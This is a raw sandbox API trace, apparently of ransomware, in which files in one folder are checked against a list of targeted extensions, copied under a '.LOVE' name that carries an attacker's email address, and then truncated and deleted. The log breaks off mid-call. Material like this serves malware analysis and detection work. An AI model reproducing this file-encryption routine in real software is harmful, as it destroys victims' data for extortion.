[0197.070] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0197.070] lstrlenW (lpString=".bz2") returned 4 [0197.070] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0197.070] lstrlenW (lpString=".7z") returned 3 [0197.070] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0197.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0197.070] lstrlenW (lpString=".dbf") returned 4 [0197.070] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0197.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0197.070] lstrlenW (lpString=".1cd") returned 4 [0197.071] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0197.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0197.071] lstrlenW (lpString=".jpg") returned 4 [0197.071] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0197.071] lstrcmpiW (lpString1=".msi", lpString2=".LOVE") returned 1 [0197.071] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22 [0197.071] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0197.196] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=872448) returned 1 [0197.196] CloseHandle (hObject=0x31c) returned 1 [0197.196] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0197.196] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.196] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0197.196] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.196] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.196] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0197.197] GetLastError () returned 0x0 [0197.197] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0xd5000, lpOverlapped=0x0) returned 1 [0197.457] WriteFile (in: hFile=0x320, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xd5010, lpOverlapped=0x0) returned 1 [0197.471] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.472] WriteFile (in: hFile=0x320, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x100, lpOverlapped=0x0) returned 1 [0197.472] SetEndOfFile (hFile=0x320) returned 1 [0197.472] CloseHandle (hObject=0x320) returned 1 [0198.077] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.077] SetEndOfFile (hFile=0x31c) returned 1 [0198.083] CloseHandle (hObject=0x31c) returned 1 [0198.083] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0198.084] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0198.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0198.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0198.084] lstrlenW (lpString=".doc") returned 4 [0198.084] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0198.084] lstrlenW (lpString=".docx") returned 5 [0198.084] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0198.084] lstrlenW (lpString=".pdf") returned 4 [0198.084] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0198.084] lstrlenW (lpString=".xls") returned 4 [0198.084] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0198.084] lstrlenW (lpString=".xlsx") returned 5 [0198.084] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0198.084] lstrlenW (lpString=".ppt") returned 4 [0198.084] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0198.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0198.084] lstrlenW (lpString=".zip") returned 4 [0198.084] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0198.084] lstrlenW (lpString=".rar") returned 4 [0198.084] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0198.084] lstrlenW (lpString=".bz2") returned 4 [0198.084] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0198.084] lstrlenW (lpString=".7z") returned 3 [0198.084] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0198.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0198.085] lstrlenW (lpString=".dbf") returned 4 [0198.085] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0198.085] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0198.085] lstrlenW (lpString=".1cd") returned 4 [0198.085] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0198.085] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0198.085] lstrlenW (lpString=".jpg") returned 4 [0198.085] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0198.085] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0198.085] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0198.085] lstrlenW (lpString=".doc") returned 4 [0198.085] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0198.085] lstrlenW (lpString=".docx") returned 5 [0198.085] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0198.085] lstrlenW (lpString=".pdf") returned 4 [0198.085] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0198.085] lstrlenW (lpString=".xls") returned 4 [0198.085] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0198.085] lstrlenW (lpString=".xlsx") returned 5 [0198.085] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0198.085] lstrlenW (lpString=".ppt") returned 4 [0198.085] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0198.085] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0198.085] lstrlenW (lpString=".zip") returned 4 [0198.085] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0198.085] lstrlenW (lpString=".rar") returned 4 [0198.085] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0198.085] lstrlenW (lpString=".bz2") returned 4 [0198.085] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0198.085] lstrlenW (lpString=".7z") returned 3 [0198.085] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0198.085] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0198.085] lstrlenW (lpString=".dbf") returned 4 [0198.086] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0198.086] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0198.086] lstrlenW (lpString=".1cd") returned 4 [0198.086] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0198.086] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0198.086] lstrlenW (lpString=".jpg") returned 4 [0198.086] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0198.086] lstrcmpiW (lpString1=".msi", lpString2=".LOVE") returned 1 [0198.086] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22 [0198.086] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0198.086] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=495616) returned 1 [0198.086] CloseHandle (hObject=0x31c) returned 1 [0198.086] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0198.086] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.086] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0198.086] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.087] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.087] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0198.087] GetLastError () returned 0x0 [0198.087] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x79000, lpOverlapped=0x0) returned 1 [0198.132] WriteFile (in: hFile=0x320, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x79010, lpOverlapped=0x0) returned 1 [0198.140] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.140] WriteFile (in: hFile=0x320, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x100, lpOverlapped=0x0) returned 1 [0198.140] SetEndOfFile (hFile=0x320) returned 1 [0198.140] CloseHandle (hObject=0x320) returned 1 [0198.150] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.150] SetEndOfFile (hFile=0x31c) returned 1 [0198.154] CloseHandle (hObject=0x31c) returned 1 [0198.154] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0198.154] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0198.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0198.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0198.154] lstrlenW (lpString=".doc") returned 4 [0198.155] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0198.155] lstrlenW (lpString=".docx") returned 5 [0198.155] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0198.155] lstrlenW (lpString=".pdf") returned 4 [0198.155] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0198.155] lstrlenW (lpString=".xls") returned 4 [0198.155] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0198.155] lstrlenW (lpString=".xlsx") returned 5 [0198.155] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0198.155] lstrlenW (lpString=".ppt") returned 4 [0198.155] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0198.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0198.155] lstrlenW (lpString=".zip") returned 4 [0198.155] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0198.155] lstrlenW (lpString=".rar") returned 4 [0198.155] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0198.155] lstrlenW (lpString=".bz2") returned 4 [0198.155] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0198.155] lstrlenW (lpString=".7z") returned 3 [0198.155] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0198.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0198.155] lstrlenW (lpString=".dbf") returned 4 [0198.155] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0198.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0198.378] lstrlenW (lpString=".1cd") returned 4 [0198.378] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0198.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0198.378] lstrlenW (lpString=".jpg") returned 4 [0198.378] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0198.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0198.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0198.378] lstrlenW (lpString=".doc") returned 4 [0198.378] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0198.378] lstrlenW (lpString=".docx") returned 5 [0198.378] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0198.378] lstrlenW (lpString=".pdf") returned 4 [0198.378] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0198.378] lstrlenW (lpString=".xls") returned 4 [0198.378] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0198.378] lstrlenW (lpString=".xlsx") returned 5 [0198.378] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0198.378] lstrlenW (lpString=".ppt") returned 4 [0198.378] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0198.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0198.378] lstrlenW (lpString=".zip") returned 4 [0198.378] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0198.378] lstrlenW (lpString=".rar") returned 4 [0198.378] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0198.378] lstrlenW (lpString=".bz2") returned 4 [0198.378] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0198.378] lstrlenW (lpString=".7z") returned 3 [0198.378] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0198.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0198.378] lstrlenW (lpString=".dbf") returned 4 [0198.379] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0198.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0198.379] lstrlenW (lpString=".1cd") returned 4 [0198.379] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0198.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0198.379] lstrlenW (lpString=".jpg") returned 4 [0198.379] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0198.379] lstrcmpiW (lpString1=".msi", lpString2=".LOVE") returned 1 [0198.379] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16 [0198.379] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0198.379] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=94720) returned 1 [0198.379] CloseHandle (hObject=0x2ec) returned 1 [0198.379] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0198.379] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.379] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0198.379] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.379] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.379] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0198.380] GetLastError () returned 0x0 [0198.380] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x17200, lpOverlapped=0x0) returned 1 [0198.454] WriteFile (in: hFile=0x320, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x17210, lpOverlapped=0x0) returned 1 [0198.455] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.456] WriteFile (in: hFile=0x320, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xf4, lpOverlapped=0x0) returned 1 [0198.456] SetEndOfFile (hFile=0x320) returned 1 [0198.456] CloseHandle (hObject=0x320) returned 1 [0198.458] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.458] SetEndOfFile (hFile=0x2ec) returned 1 [0198.459] CloseHandle (hObject=0x2ec) returned 1 [0198.459] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0198.459] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0198.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0198.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0198.459] lstrlenW (lpString=".doc") returned 4 [0198.459] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0198.460] lstrlenW (lpString=".docx") returned 5 [0198.460] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0198.460] lstrlenW (lpString=".pdf") returned 4 [0198.460] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0198.460] lstrlenW (lpString=".xls") returned 4 [0198.460] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0198.460] lstrlenW (lpString=".xlsx") returned 5 [0198.460] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0198.460] lstrlenW (lpString=".ppt") returned 4 [0198.460] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0198.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0198.460] lstrlenW (lpString=".zip") returned 4 [0198.460] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0198.460] lstrlenW (lpString=".rar") returned 4 [0198.460] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0198.460] lstrlenW (lpString=".bz2") returned 4 [0198.460] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0198.460] lstrlenW (lpString=".7z") returned 3 [0198.460] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0198.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0198.460] lstrlenW (lpString=".dbf") returned 4 [0198.460] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0198.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0198.460] lstrlenW (lpString=".1cd") returned 4 [0198.460] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0198.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0198.460] lstrlenW (lpString=".jpg") returned 4 [0198.460] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0198.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0198.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0198.460] lstrlenW (lpString=".doc") returned 4 [0198.460] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0198.460] lstrlenW (lpString=".docx") returned 5 [0198.460] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0198.460] lstrlenW (lpString=".pdf") returned 4 [0198.461] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0198.461] lstrlenW (lpString=".xls") returned 4 [0198.461] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0198.461] lstrlenW (lpString=".xlsx") returned 5 [0198.461] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0198.461] lstrlenW (lpString=".ppt") returned 4 [0198.461] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0198.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0198.461] lstrlenW (lpString=".zip") returned 4 [0198.461] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0198.461] lstrlenW (lpString=".rar") returned 4 [0198.461] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0198.461] lstrlenW (lpString=".bz2") returned 4 [0198.461] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0198.461] lstrlenW (lpString=".7z") returned 3 [0198.461] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0198.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0198.461] lstrlenW (lpString=".dbf") returned 4 [0198.461] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0198.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0198.461] lstrlenW (lpString=".1cd") returned 4 [0198.461] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0198.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0198.461] lstrlenW (lpString=".jpg") returned 4 [0198.461] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0198.461] lstrcmpiW (lpString1=".exe", lpString2=".LOVE") returned -1 [0198.461] lstrlenW (lpString="Setup.exe") returned 9 [0198.461] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0198.462] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=78152) returned 1 [0198.462] CloseHandle (hObject=0x2ec) returned 1 [0198.462] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0198.462] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.462] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0198.462] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.462] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.462] CreateFileW 